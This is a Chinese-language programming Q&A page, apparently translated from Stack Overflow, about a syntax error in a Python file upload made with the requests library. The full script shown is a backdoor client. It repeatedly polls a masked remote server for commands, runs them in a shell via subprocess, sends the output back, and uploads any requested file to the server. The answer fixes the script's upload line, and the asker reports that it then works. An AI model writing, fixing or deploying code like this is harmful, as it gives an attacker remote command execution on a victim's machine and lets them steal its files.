2017-08-29 45 views
1

我尝试使用POST方法在请求模块在Python 3.5,我得到错误说这些台词“无效了Syntex”发送文件,发送文件[错误:无效了Syntex]

files = ('file':open(path,'rb')) 
    r = requests.post(('htttp://#########', files= files)) 

完整代码如下。

import requests 
import subprocess 
import time 
import os 

while True: 
    req = requests.get('htttp://########') 
    command = req.text 
    if 'terminate' in command: 
     break 
    elif 'grab' in command: 
     grab,path = command.split('*') 
     if os.path.exists(path): 
      url = 'http://#########/store' 
      files = ('file':open(path,'rb')) 
      r = requests.post(('htttp://#########', files= files)) 
     else: 
      post_request = requests.post(url='htttp://#########',data='[-] 
      Unable to find file !') 
    else: 
    CMD = subprocess.Popen(command,shell=True, stderr=subprocess.PIPE, 
    stdin=subprocess.PIPE,stdout=subprocess.PIPE) 
    post_request=requests.post(url='htttp://########',data=CMD.stdout.read()) 
    post_request = requests.post(url= 'htttp://######', 
        data=CMD.stderr.read()) 

    time.sleep(3) 
+0

你的第一行是不正确的Python语法,你想要做什么?如果这应该是一个字典,你需要花括号代替parens – Axnyff

回答

-1

你可能想这样的:

files = {'file': open(path, 'rb')} 
r = requests.post('htttp://#########', files=files) 

dict s的使用大括号,括号没有创建,而你又周围的参数额外的括号在调用requests.post

+0

谢谢先生,它现在可以工作。 –

相关问题